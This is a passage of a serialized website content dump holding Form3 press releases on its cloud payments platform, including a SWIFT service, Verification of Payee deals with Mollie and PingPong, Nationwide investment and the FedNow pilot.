To Launch Cloud-Native API SWIFT Connectivity Solution","Form3, the leading cloud payment technology provider, today announces its plans to launch a cloud-native API solution to connect financial institutions globally to the SWIFT network.",{"dimensions":2745,"alt":2742,"copyright":5,"url":2746,"id":2747,"edit":2748},{"width":412,"height":412},"\u002F_prismic-media\u002F02ff621c0ce99b57-MloHR9-tucN3f-2U_form3-to-launch-cloud-native-ap.svg","MloHR9-tucN3f-2U",{"x":398,"y":398,"zoom":399,"background":650},"2022-10-10","API service to connect FI’s globally to over 11,000 institutions on the SWIFT network",{},[2753],{"type":25,"text":2754,"spans":2755},"Form3 design, build and run the technology that powers the future of payments. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Best Cloud Payments Platform 2021 by Paytech and Fintech Finance, most influential fintech company in 2021 by The Financial Technologist and ranked in the Top European Fintechs to watch by Sifted 2020. API technology also provides greater levels of security over traditional connectivity models means, which is paramount in today’s financial services environment. Providing an easier, API native to SWIFT is what financial services have been calling for, as the demand for payments increase, and financial institutions upscale operations. ",[],[],{},[],{"link_type":434},[2761],{"variation":437,"version":438,"items":2762,"primary":2763,"id":2785,"slice_type":468,"slice_label":5},[],{"body":2764},[2765,2770,2773,2776,2779,2782],{"type":25,"text":2766,"spans":2767},"10 October, London – Form3, the leading cloud payment technology provider, today announces its plans to launch a cloud-native API solution to connect financial institutions globally to the SWIFT network. ",[2768],{"start":398,"end":2769,"type":593},18,{"type":25,"text":2771,"spans":2772},"The Swift as a service solution will help banks, fintech’s and payment service providers to gain API access to SWIFT for payments and cash management services.",[],{"type":25,"text":2774,"spans":2775},"The solution will allow institutions to reduce operational costs and overheads by leveraging scalable cloud-based services. Form3’s fully managed service shields customers from annual standards releases, including the upcoming ISO 20022 migration, alongside backwards compatibility for receiving MT messages.",[],{"type":25,"text":2777,"spans":2778},"Customers of the service will benefit from a zero-footprint solution, removing the need to implement and manage software and hardware for connecting to SWIFT. Form3’s platform offers highly scalable and resilient cloud-based services that will future proof organisations to support evolving customer demand. The new service provides increased speed and security over traditional connectivity models, which is critical to scale and meet customer expectations in today’s financial services environment.",[],{"type":25,"text":2780,"spans":2781},"Michael Mueller, Form3’s CEO, comments: “Form3’s new solution is easy-to-operate, cost-effective, and highly reliable, allowing financial institutions of all sizes to access SWIFT. This is at the heart of our mission to democratise and digitise reliable payment solutions. Working with SWIFT clearly demonstrates our desire to grow our global footprint in cloud-based payment technology.”",[],{"type":25,"text":2783,"spans":2784},"The Form3 SWIFT as a Service solution will go live for customers towards the end of 2022. ",[],"rich_text$6d2763f4-7caa-4979-a542-cd274d3e645e",{"id":2787,"uid":2788,"type":406,"data":2789},"alw3nREAACgAT72w","form3-expands-growing-client-base-with-european-fintech-mollie",{"title":2790,"excerpt":2791,"card_image":2792,"published_date":2797,"reading_time":506,"tag":379,"dek":2798,"featured_image":2799,"about_form3":2806,"client_about_heading":5,"client_about_body":2807,"author_name":5,"author_title":5,"author_photo":2808,"author_bio":2809,"author_linkedin":2810,"slices":2811,"meta_title":2790,"meta_description":2791},"Form3 expands growing client base with European fintech Mollie","Form3, the secure cloud-native account-to-account global payments platform, today announced the successful delivery of a fully compliant Verification of Payee (VoP) solution for leading European payments service provider Mollie. The implementation enables Mollie to meet European VoP requirements and better protect its customers from misdirected payments and authorised push payment fraud.",{"dimensions":2793,"alt":2790,"copyright":5,"url":2794,"id":2795,"edit":2796},{"width":412,"height":412},"\u002F_prismic-media\u002F1d009c2e4ce100a4-8_RSbHn9ipeLXwww_form3-expands-growing-client-ba.png","8_RSbHn9ipeLXwww",{"x":398,"y":398,"zoom":399,"background":400},"2026-01-29","Mollie partners with Form3 for Verification of Payee complianceMollie is the latest to join Tier 1 banks and fintechs already leveraging Form3’s cloud-based payments platform",{"dimensions":2800,"alt":5,"copyright":5,"url":2803,"id":2804,"edit":2805},{"width":2801,"height":2802},1280,401,"\u002F_prismic-media\u002F371e14335474dbd7-fekT_Asapcs2m3WI_aXoN3wIvOtkhCCES.png","fekT_Asapcs2m3WI",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[2812,2825,2849,2860,2870],{"variation":437,"version":527,"items":2813,"primary":2814,"id":2824,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":2815,"body":2816,"cta_label":5,"cta_link":2817,"aside_type":533,"aside_image":2818,"aside_video":2819,"aside_video_poster":2820,"aside_video_reduced_motion":2821,"aside_video_url":5,"aside_embed":2822,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":2823,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{},{"link_type":536},{},{},{},{"link_type":542},"content_block$d733f4bd-a812-43d5-ba43-c1253b9c1b49",{"variation":437,"version":438,"items":2826,"primary":2827,"id":2848,"slice_type":468,"slice_label":5},[],{"body":2828},[2829,2836,2839,2842,2845],{"type":25,"text":2791,"spans":2830,"direction":445},[2831],{"start":2832,"end":2833,"type":489,"data":2834},221,227,{"link_type":491,"url":2835,"target":493},"https:\u002F\u002Fwww.mollie.com\u002Fgb\u002F",{"type":25,"text":2837,"spans":2838,"direction":445},"With a limited window in which to meet the EU’s regulatory deadline for Verification of Payee, Form3’s easy to onboard platform ensured immediate regulatory compliance, without compromising Mollie’s future on scalability. ",[],{"type":25,"text":2840,"spans":2841,"direction":445},"Form3’s Verification of Payee capability is built on the same cloud-native infrastructure that supports high-volume payment flows across Europe and the UK. Designed for scale and resilience, the platform enables payment service providers (PSPs) like Mollie to meet regulatory requirements efficiently while remaining ready to extend their services as market and regulatory demands evolve.",[],{"type":25,"text":2843,"spans":2844,"direction":445},"Form3’s platform also supports clients to achieve broader operational resilience objectives in the EU, including the Digital Operational Resilience Act (DORA), which exists to ensure financial entities are more resilient. As a trusted, critical third party, Form3 is recognised as a fully compliant partner.",[],{"type":25,"text":2846,"spans":2847,"direction":445},"Mollie is the latest to join Form3’s client roster that spans fintechs including Klarna, GoCardless and SumUp, as well as Tier 1 banks including Barclays, JP Morgan and Lloyds.",[],"rich_text$9eecec4d-ee10-4274-ba7c-d250210905e0",{"variation":437,"version":438,"items":2850,"primary":2851,"id":2859,"slice_type":583,"slice_label":5},[],{"quote":2852,"attribution_name":1093,"attribution_role":1094},[2853,2856],{"type":25,"text":2854,"spans":2855,"direction":445},"Verification of Payee is a critical step in preventing payments fraud and protecting end customers. We’re pleased to partner with Mollie to deliver a compliant, scalable VoP capability built for high-volume payment environments. Our onboarding approach and cloud-native platform helped Mollie implement quickly while staying ready for what comes next.",[],{"type":25,"text":2857,"spans":2858,"direction":445},"As regulatory demands continue to evolve, banks and fintechs are looking for payments infrastructure that is not only compliant but is agile, adaptable and of course scalable. Form3's API continually updates, so that our partners are automatically compliant with any new regulation. This compliance by design coupled with our deep technical knowledge and broad market experience makes us an attractive partner for fintechs and Tier 1 banks alike.",[],"pull_quote$7215da09-fe42-47b1-bbc0-15ab9f4a06f2",{"variation":437,"version":438,"items":2861,"primary":2862,"id":2869,"slice_type":468,"slice_label":5},[],{"body":2863},[2864],{"type":25,"text":2865,"spans":2866,"direction":445},"Felix Würtenberger, VP of Product at Mollie says: “Meeting the EU's Verification of Payee mandate is a key compliance priority for Mollie as we are committed to protecting our merchants with the highest standards of payment security. To implement the required technical solution, we selected Form3's platform, ensuring we are compliant and can continue to provide a secure and reliable service for our customers.”",[2867],{"start":398,"end":2868,"type":593},49,"rich_text$ab33c7c4-4bd9-4c4e-bfa8-a101c2db8da5",{"variation":437,"version":438,"items":2871,"primary":2872,"id":2901,"slice_type":468,"slice_label":5},[],{"body":2873},[2874,2877,2880,2883,2885,2889,2892,2895,2898],{"type":474,"text":475,"spans":2875,"direction":445},[2876],{"start":398,"end":602,"type":593},{"type":25,"text":2878,"spans":2879,"direction":445},"Form3 is a world-class cloud platform for account-to-account payments. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform.",[],{"type":25,"text":2881,"spans":2882,"direction":445},"Today, Form3 is trusted by some of the UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 recently won the Best Technology Integration Award, in partnership with Nationwide, at the Card and Payments Awards 2025.",[],{"type":25,"text":610,"spans":2884,"direction":445},[],{"type":25,"text":2886,"spans":2887,"direction":445},"About Mollie",[2888],{"start":398,"end":2707,"type":593},{"type":25,"text":2890,"spans":2891,"direction":445},"Mollie is a fast growing financial services platform that helps businesses across Europe and the UK get paid and manage their money effortlessly: online, in person, and across borders. With a single, powerful integration, companies can accept payments, streamline reconciliation and reporting, prevent fraud, and access flexible financing to fuel their growth.",[],{"type":25,"text":2893,"spans":2894,"direction":445},"Through Mollie Connect, SaaS and platform partners can embed payments directly into their products and unlock new revenue streams.",[],{"type":25,"text":2896,"spans":2897,"direction":445},"Today, over 250,000 businesses, from fast‑growing startups to large enterprises rely on Mollie’s hyper‑local solutions in 30+ UK and European markets, supported by local payment methods, multi‑language support and integrations with local business software solutions.",[],{"type":25,"text":2899,"spans":2900,"direction":445},"Founded in 2004 in Amsterdam, Mollie’s mission is to make payments and money management effortless for every business in Europe and beyond.",[],"rich_text$133110ce-2541-4cb8-83ac-5e90a5ef4be5",{"id":2903,"uid":2904,"type":406,"data":2905},"alw3pBEAAC0AT73W","pingpong-form3-partnership",{"title":2906,"excerpt":2907,"card_image":2908,"published_date":2914,"reading_time":418,"tag":379,"dek":2915,"featured_image":2916,"about_form3":2921,"client_about_heading":5,"client_about_body":2922,"author_name":5,"author_title":5,"author_photo":2923,"author_bio":2924,"author_linkedin":2925,"slices":2926,"meta_title":2906,"meta_description":2907},"PingPong Turns Regulatory Compliance Into Competitive Edge With Form3 Partnership","PingPong, the world-leading provider of embedded cross-border payment solutions for enterprises, today announces it will be using Form3's Verification of Payee (VoP) solution for SEPA account validation, giving PingPong a competitive edge by implementing compliance measures five months ahead of the October go-live date.",{"dimensions":2909,"alt":2910,"copyright":5,"url":2911,"id":2912,"edit":2913},{"width":412,"height":412},"PingPong Logo","\u002F_prismic-media\u002F88aa47c74c350bf1-L6sgFRVAjXrxWdv2_pingpong-form3-partnership.png","L6sgFRVAjXrxWdv2",{"x":398,"y":398,"zoom":399,"background":400},"2025-06-24","PingPong partners with Form3 to implement Verification of Payee (VoP) five months ahead of schedule, transforming regulatory compliance into a competitive advantage.",{"dimensions":2917,"alt":5,"copyright":5,"url":2918,"id":2919,"edit":2920},{"width":423,"height":424},"\u002F_prismic-media\u002F98f737d936bb6756-3pRwWpgG6cWhWchZ_aFlWN3fc4bHWiniI.png","3pRwWpgG6cWhWchZ",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[2927,2946,2954,2973],{"variation":437,"version":438,"items":2928,"primary":2929,"id":2945,"slice_type":468,"slice_label":5},[],{"body":2930},[2931,2936,2939,2942],{"type":25,"text":2907,"spans":2932,"direction":445},[2933],{"start":398,"end":1633,"type":489,"data":2934},{"link_type":491,"url":2935,"target":493},"https:\u002F\u002Fwww.international.pingpongx.com\u002F",{"type":25,"text":2937,"spans":2938,"direction":445},"Operating from 37 offices globally with over 60 financial licences, PingPong's platform delivers faster, more transparent, and higher-quality cross-border B2B transactions for enterprises, financial institutions, and SaaS companies. PingPong's proactive adoption of Form3's VoP solution well before the European Payments Council's October 2025 implementation deadline demonstrates this strategic approach.",[],{"type":25,"text":2940,"spans":2941,"direction":445},"Form3's solution will ensure that PingPong is compliant with the Instant Payment Regulation, delivering faster, forward-compliant, and safer payments to the EU for PingPong's clients. The solution offers enhanced protection against authorised push payment (APP) fraud and payment errors while demonstrating the company's commitment to staying ahead of regulatory requirements.",[],{"type":25,"text":2943,"spans":2944,"direction":445},"Today's announcement marks the third Form3 product that PingPong has adopted, having previously integrated SEPA Instant and Credit Transfer solutions into its customer offering.",[],"rich_text$159cfe13-ec97-4333-948c-95dc05b2167f",{"variation":437,"version":438,"items":2947,"primary":2948,"id":2953,"slice_type":583,"slice_label":5},[],{"quote":2949,"attribution_name":1093,"attribution_role":1094},[2950],{"type":25,"text":2951,"spans":2952,"direction":445},"We're very happy to be working with PingPong, one of the leading global cross-border payments platforms. As the VoP deadline is imminent, what we can offer customers such as PingPong is a proven product that features zero downtime, and is second-to-none when it comes to operational resiliency.",[],"pull_quote$a8fb7cc8-0b95-4dee-9e26-0c94f2b74126",{"variation":437,"version":438,"items":2955,"primary":2956,"id":2972,"slice_type":468,"slice_label":5},[],{"body":2957},[2958,2961,2964,2967],{"type":25,"text":2959,"spans":2960,"direction":445},"The VoP solution has been designed with compliance in mind for customers. Form3's fully managed service delivers compliance with regulations such as IPR and PSD3. A key selling point is that Form3 provides rolling scheme updates without service interruption.",[],{"type":25,"text":2962,"spans":2963,"direction":445},"Form3's cloud-based, account-to-account payments platform, on which the VoP solution operates, is underpinned by a single API designed to integrate seamlessly into existing infrastructure. This allows customers to meet regulatory requirements while focusing on growth, improving the overall customer experience.",[],{"type":25,"text":2965,"spans":2966,"direction":445},"The European Payments Council will implement the new VoP scheme in October 2025. It is designed to reduce fraud and payment errors by allowing a payer to verify whether the name of the intended payee matches the name held by the payee's payment service provider (PSP) for the provided IBAN.",[],{"type":25,"text":2968,"spans":2969,"direction":445},"Alex Young, FI Partnerships Lead at PingPong, said: \"We selected Form3's VoP solution because it's fast, resilient, and ensures we remain compliant against ever-changing regulations. By implementing this solution five months ahead of the October deadline, we're turning compliance into a competitive advantage for our enterprise, fintech and financial institution clients. Staying ahead of regulatory requirements is essential to maintaining our position as the world's leading cross-border payments provider. The onboarding experience from Form3 has been smooth, featuring excellent communication. We are deepening our partnership with Form3 because their technology is best-in-class for our cross-border payment needs.\"",[2970],{"start":398,"end":2971,"type":593},50,"rich_text$dcff37bb-70dc-4b3b-9c90-842d39984a82",{"variation":437,"version":438,"items":2974,"primary":2975,"id":2993,"slice_type":468,"slice_label":5},[],{"body":2976},[2977,2980,2983,2988],{"type":474,"text":475,"spans":2978,"direction":445},[2979],{"start":398,"end":602,"type":593},{"type":25,"text":2981,"spans":2982,"direction":445},"Form3 is the account-to-account platform. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 recently won the Best Technology Integration Award, in partnership with Nationwide, at the Card and Payments Awards 2025, the Celent Model Bank 2025 Award for Payments Transformation and Paytech Company of the Year at the Fintech Awards London 2025. The company has been included in the 2025 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year, Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, and Engineering Team of the Year at the Europe Fintech Awards 2024.",[],{"type":474,"text":2984,"spans":2985,"direction":445},"About PingPong",[2986],{"start":398,"end":2987,"type":593},14,{"type":25,"text":2989,"spans":2990,"direction":445},"PingPong was founded in New York in 2015, with the goal of solving the immense challenge of scaling enterprise businesses globally. Fast forward to today, and PingPong has become one of the world’s leading global cross-border payments platforms, with a Total Payment Volume (TPV) of more than $250 billion USD. Our API-first cross-border payments platform integrates with enterprises to send, manage, and receive money faster on a global scale. PingPong currently has 37 offices in 15 countries and 1,500 employees. Our international presence helps businesses solve complex payment needs in every major economy across all time zones.",[2991],{"start":398,"end":1633,"type":489,"data":2992},{"link_type":491,"url":2935,"target":493},"rich_text$c88364e6-47e0-4f0d-bbbc-20ab1703e001",{"id":2995,"uid":2996,"type":406,"data":2997},"alw3oREAACcAT73D","form3-secures-strategic-investment-from-nationwide",{"title":2998,"excerpt":2999,"card_image":3000,"published_date":3005,"reading_time":1130,"tag":815,"dek":3006,"featured_image":3007,"about_form3":3013,"client_about_heading":5,"client_about_body":3014,"author_name":5,"author_title":5,"author_photo":3015,"author_bio":3016,"author_linkedin":3017,"slices":3018,"meta_title":2998,"meta_description":3127},"Form3 Secures Strategic Investment from Nationwide","Form3, the cloud-native global account-to-account payments infrastructure platform, today announces it has secured a strategic investment from Nationwide, the world’s largest building society, and a debt facility from funds and accounts managed by BlackRock to accelerate further product development and growth in the US market.",{"dimensions":3001,"alt":2998,"copyright":5,"url":3002,"id":3003,"edit":3004},{"width":412,"height":412},"\u002F_prismic-media\u002F9f1e8f1fa571e12f-1EkydXmPNMSS4Ib5_form3-secures-strategic-investm.png","1EkydXmPNMSS4Ib5",{"x":398,"y":398,"zoom":399,"background":400},"2025-10-14","New investments will drive product development and the final step in Form3’s path to profitability.",{"dimensions":3008,"alt":3009,"copyright":5,"url":3010,"id":3011,"edit":3012},{"width":423,"height":424},"Nationwide","\u002F_prismic-media\u002F99f26f0795593628--V5KG514bz9md7LI_aNETqp5xUNkB0813.png","-V5KG514bz9md7LI",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[3019,3032,3066,3076,3096],{"variation":437,"version":527,"items":3020,"primary":3021,"id":3031,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":3022,"body":3023,"cta_label":5,"cta_link":3024,"aside_type":533,"aside_image":3025,"aside_video":3026,"aside_video_poster":3027,"aside_video_reduced_motion":3028,"aside_video_url":5,"aside_embed":3029,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":3030,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{},{"link_type":536},{},{},{},{"link_type":542},"content_block$2a120f70-6a67-43d8-81dd-237793e0feac",{"variation":437,"version":438,"items":3033,"primary":3034,"id":3065,"slice_type":468,"slice_label":5},[],{"body":3035},[3036,3053,3056,3059,3062],{"type":25,"text":3037,"spans":3038,"direction":445},"14 October 2025 London – Form3, the cloud-native global account-to-account payments infrastructure platform, today announces it has secured a strategic investment from Nationwide, the world’s largest building society, and a debt facility from funds and accounts managed by BlackRock to accelerate further product development and growth in the US market.",[3039,3040,3043,3048],{"start":398,"end":1066,"type":593},{"start":1066,"end":3041,"type":489,"data":3042},30,{"link_type":491,"url":2713,"target":493},{"start":3044,"end":3045,"type":489,"data":3046},168,178,{"link_type":491,"url":3047,"target":493},"https:\u002F\u002Fwww.nationwide.co.uk\u002F",{"start":3049,"end":3050,"type":489,"data":3051},273,282,{"link_type":491,"url":3052,"target":493},"https:\u002F\u002Fwww.blackrock.com\u002Fuk",{"type":25,"text":3054,"spans":3055,"direction":445},"These investments will fund the company through to profitability by enabling Form3 to invest in hosting options and continued platform development. Form3 will provide new features to Nationwide and for the benefit of all Form3 customers.",[],{"type":25,"text":3057,"spans":3058,"direction":445},"This reinforces Form3's position as the leading cloud-native payments platform. Building on this momentum, Form3 will accelerate the development of a fully integrated platform that empowers global vendors to transform their payments infrastructure. Form3 continues its successful expansion into the US market, having created a fully localised, best-in-class platform for Real-Time Payments for US players.",[],{"type":25,"text":3060,"spans":3061,"direction":445},"This investment from Nationwide deepens a longstanding relationship with Form3, following an initial investment in the firm in 2020. Nationwide has now extended its Faster Payments Service (FPS) managed service partnership by a further seven years, through to 2032, and signed on as an early adopter of Form3’s new Payments Resilience Platform (PRP) self hosted software solution, underscoring its trust in Form3’s offering. Form3 will provide new features to Nationwide and for the benefit of all Form3 customers.",[],{"type":25,"text":3063,"spans":3064,"direction":445},"Backed by a community of the world’s leading financial institutions as investors and customers, Form3 continues to build momentum, delivering its strongest ever first half, with record results in both Q1 and Q2 2025. The company is set to outperform last year’s performance significantly and continues to sharpen its strategic focus on the US market, which is set to add incremental growth from new customer wins over the coming 6 months.",[],"rich_text$9136e16a-4026-41a4-b207-b10277450339",{"variation":437,"version":438,"items":3067,"primary":3068,"id":3075,"slice_type":583,"slice_label":5},[],{"quote":3069,"attribution_name":3073,"attribution_role":3074},[3070],{"type":25,"text":3071,"spans":3072,"direction":445},"Nationwide is a heavyweight in financial services, and clearly recognises Form3’s global path to success as the only cloud-based infrastructure platform for efficient, unified Real-Time Payments globally. Our long-standing partnership has already led to Form3 deploying some of the most advanced and resilient payment solutions globally. This further investment from Nationwide, alongside the debt facility from funds and accounts managed by  BlackRock provides the final key for our path to profitability.",[],"Benyam Hagos","Chief Financial Officer","pull_quote$e65b12dc-f9fc-49c2-bcff-3e51a41e0aa3",{"variation":437,"version":438,"items":3077,"primary":3078,"id":3095,"slice_type":468,"slice_label":5},[],{"body":3079},[3080,3085],{"type":25,"text":3081,"spans":3082,"direction":445},"Otto Benz, Nationwide’s Director of Customer Technology and Payments, comments: “We are thrilled to continue to partner with Form3, backing their already impressive multi-cloud SaaS capabilities. Leveraging Form3’s technology allows us to offer our customers an added level of reassurance that we will be there to support them and their payments when it matters.”",[3083],{"start":398,"end":3084,"type":593},79,{"type":25,"text":3086,"spans":3087,"direction":445},"Today’s funding announcement follows prior investments in 2024 from both Visa and British Patient Capital, and serves as an endorsement of Form3’s ability to deploy its next-generation payments infrastructure on behalf of major financial services players in the UK, Europe, and increasingly now the US. ",[3088,3091],{"start":3089,"end":855,"type":489,"data":3090},73,{"link_type":491,"url":849,"target":493},{"start":1406,"end":3092,"type":489,"data":3093},105,{"link_type":491,"url":3094,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpress-releases\u002Fform3-series-c-extension","rich_text$a4bec992-3bb5-4047-a61b-75ce7308ee8a",{"variation":437,"version":438,"items":3097,"primary":3098,"id":3126,"slice_type":468,"slice_label":5},[],{"body":3099},[3100,3103,3107,3109,3111,3115,3120,3123],{"type":474,"text":475,"spans":3101,"direction":445},[3102],{"start":398,"end":602,"type":593},{"type":25,"text":2878,"spans":3104,"direction":445},[3105],{"start":398,"end":643,"type":489,"data":3106},{"link_type":491,"url":2713,"target":493},{"type":25,"text":2881,"spans":3108,"direction":445},[],{"type":25,"text":610,"spans":3110,"direction":445},[],{"type":25,"text":3112,"spans":3113,"direction":445},"About Nationwide",[3114],{"start":398,"end":2477,"type":593},{"type":25,"text":3116,"spans":3117,"direction":445},"Nationwide is the world's largest building society, with over 17 million customers, 16 million of whom have a current account, mortgage or savings product, and are therefore members of the Society. Nationwide is owned by its members and focuses on providing banking products and services to its customers. Nationwide has over 18,000 employees, including those based in its headquarters in Swindon, and those working in its network of over 600 branches across the UK.",[3118],{"start":398,"end":905,"type":489,"data":3119},{"link_type":491,"url":3047,"target":493},{"type":25,"text":3121,"spans":3122,"direction":445},"Nationwide is the UK's third largest mortgage provider and holds almost £1 in every £10 saved in the UK, as well as one in ten of the UK's current accounts. It also supports landlords and those who rely on the private rented sector for their long-term housing needs through its buy to let business, The Mortgage Works. In addition, Nationwide offers a comprehensive range of wider retail financial services and products, including credit cards, personal loans and insurance. These offerings diversify its income, and help it give value back to its customers, through better product pricing than the market average and better service than its peers.",[],{"type":25,"text":3124,"spans":3125,"direction":445},"Nationwide's purpose is \"Banking - but fairer, more rewarding, and for the good of society\". The Nationwide Board believes that its mutual ownership model enables it to balance its need to retain sufficient profit to remain financially strong, with its commitment to share its success with its customers and members.",[],"rich_text$4b2e5d53-8243-447c-8419-1ce84ef746c1","Form3, the cloud-native global account-to-account payments infrastructure platform, announces it has secured a strategic investment from Nationwide, the world’s largest building society, and a debt facility from funds and accounts managed by BlackRock to accelerate further product development and growth in the US market.",{"id":3129,"uid":3130,"type":406,"data":3131},"alw37REAAC4AT79M","shawn-meyer-joins-form3-as-sales-specialist-in-the-us",{"title":3132,"excerpt":3133,"card_image":3134,"published_date":3139,"reading_time":506,"tag":231,"dek":3133,"featured_image":3140,"about_form3":3141,"client_about_heading":5,"client_about_body":3142,"author_name":5,"author_title":5,"author_photo":3143,"author_bio":3144,"author_linkedin":3145,"slices":3146,"meta_title":3132,"meta_description":3133},"Shawn Meyer joins Form3 as Sales Specialist in the US","Form3, the leading cloud-native payment technology provider, today announced it has further strengthened its US team to expand its sales capabilities and competitor landscape knowledge as it expands its cloud technology offering across the globe.",{"dimensions":3135,"alt":3132,"copyright":5,"url":3136,"id":3137,"edit":3138},{"width":412,"height":412},"\u002F_prismic-media\u002Fa71a76fa5adfefa0-h_lTe6Q-OTAeDHGO_shawn-meyer-joins-form3-as-sale.png","h_lTe6Q-OTAeDHGO",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-10",{},[],[],{},[],{"link_type":434},[3147],{"variation":437,"version":438,"items":3148,"primary":3149,"id":3162,"slice_type":468,"slice_label":5},[],{"body":3150},[3151,3153,3156,3159],{"type":746,"text":2591,"spans":3152},[],{"type":25,"text":3154,"spans":3155},"Shawn Meyer joins as Sales Specialist, US, with responsibility for driving new business opportunities with prospects, as part of Form3’s expansion to secure further tier one clients in the US. He joins Form3 with over fifteen years’ experience in payments technology and financial services. Shawn was previously with Bottomline Technologies as Customer Success Manager, responsible for their largest client relationships. He has also held previous client roles at Fiserv and FIS. ",[],{"type":25,"text":3157,"spans":3158},"“I am delighted to welcome Shawn on board. He brings with him second-to-none knowledge of the US payments landscape and the competitor landscape that will help Form3 add influential new customers to our roster. He is a great addition to the US team as we expand our footprint across the US market.”",[],{"type":25,"text":3160,"spans":3161},"Dave Scola, US Chief Executive ",[],"rich_text$0d2e8f60-60fc-453f-8e0b-a5eee771b9ef",{"id":3164,"uid":3165,"type":406,"data":3166},"alw39BEAACgAT79x","form3-joins-fednow-pilot-program-to-drive-modernization",{"title":3167,"excerpt":3168,"card_image":3169,"published_date":3175,"reading_time":1130,"tag":231,"dek":3176,"featured_image":3177,"about_form3":3178,"client_about_heading":5,"client_about_body":3193,"author_name":5,"author_title":5,"author_photo":3194,"author_bio":3195,"author_linkedin":3196,"slices":3197,"meta_title":3167,"meta_description":3168},"Form3 joins FedNow Pilot Program to drive modernization of US payments landscape","Pioneer of instant payment services in multiple European markets brings its experience to the FedNow Pilot Program",{"dimensions":3170,"alt":3171,"copyright":5,"url":3172,"id":3173,"edit":3174},{"width":412,"height":412},"fednow","\u002F_prismic-media\u002F57a642159d98d574-quJ6w5s636QIalhN_form3-joins-fednow-pilot-progra.png","quJ6w5s636QIalhN",{"x":398,"y":398,"zoom":399,"background":400},"2022-07-07","Form3, the leading cloud-native payment technology provider, today announced its participation in the Federal Reserve’s FedNow Pilot Program. With deep experience in rolling out instant payment services across Europe, Form3 will play a leading role in driving the modernization of the instant payments landscape in the US. The FedNow Service, due to launch in 2023, will facilitate instant payment services for financial institutions of all sizes nationwide. Having been invited by the Federal Reserve to take part in the FedNow Pilot Program, Form3’s customers will be able to transact using the FedNow Service from the day the service goes live. Since expanding its operations to the US, Form3's product capabilities have grown to include the clearing house’s RTP service and is expanding into the ACH and WIRE landscape as well.Form3’s standardized, scheme-agnostic API increases the number of payment options available to customers, using intelligent routing to offer a seamless experience, with transactions automatically processed via the most viable route at the lowest cost.",{},[3179,3182],{"type":25,"text":3180,"spans":3181},"Form3 design, build and run the technology that powers the future of payments. Founded In 2016, Form3 set out to revolutionize the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. ",[],{"type":25,"text":3183,"spans":3184},"Today, Form3 is trusted by some of the UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 was named Best Cloud Payments Platform 2021 by Paytech and Fintech Finance, Most Influential Fintech Company in 2021 by The Financial Technologist and ranked in the Top European Fintechs to Watch by Sifted 2020.",[3185,3187,3190],{"start":3044,"end":3186,"type":765},201,{"start":3188,"end":3189,"type":765},234,266,{"start":3191,"end":3192,"type":765},323,353,[],{},[],{"link_type":434},[3198,3208],{"variation":437,"version":438,"items":3199,"primary":3200,"id":3207,"slice_type":583,"slice_label":5},[],{"quote":3201,"attribution_name":3205,"attribution_role":3206},[3202],{"type":25,"text":3203,"spans":3204},"We are thrilled to take this next step in Form3’s journey to becoming the premier provider of US payment gateway connectivity. As a member of the FedNow Pilot Program, Form3 will now be able to bring to bear our enterprise-grade, fully managed, payment technology platform in time for the FedNow Service launch;simplifying the journey for early adopters of the new payment rail and help drive the broader roll-out of real-time payments in the US",[],"Dave Scola","Chief Product Officer & US Chief Executive","pull_quote$31550fe1-6520-43e1-9f15-e828158cd268",{"variation":437,"version":438,"items":3209,"primary":3210,"id":3221,"slice_type":468,"slice_label":5},[],{"body":3211},[3212,3215],{"type":25,"text":3213,"spans":3214},"When it launches, the FedNow Service will enable businesses and individuals to send and receive instant payments at any time, giving recipients immediate access to their funds and allowing them greater flexibility to manage their money and make time-sensitive payments. ",[],{"type":25,"text":3216,"spans":3217},"More information about the FedNow Pilot Program and the FedNow Service can be found at explore.fednow.org ",[3218],{"start":2224,"end":3092,"type":489,"data":3219},{"link_type":491,"url":3220},"https:\u002F\u002Fexplore.fednow.org","rich_text$e818e49f-1383-4c20-9a2e-eb5bc60938ec",{"id":3223,"uid":3224,"type":406,"data":3225},"alw32REAAC0AT77l","nationwide-building-society-accenture-form3",{"title":3226,"excerpt":3227,"card_image":3228,"published_date":3233,"reading_time":418,"tag":231,"dek":5,"featured_image":3234,"about_form3":3239,"client_about_heading":5,"client_about_body":3240,"author_name":5,"author_title":5,"author_photo":3241,"author_bio":3242,"author_linkedin":3243,"slices":3244,"meta_title":3226,"meta_description":3227},"Nationwide Building Society to Modernise its Digital Payments System in the Cloud with Accenture and Form3","Nationwide Building Society has selected Accenture (NYSE: ACN) and Form3 to transform its digital payments infrastructure through the adoption of a cloud native platform, aiming to enhance the customer experience with seamless, secure and fast 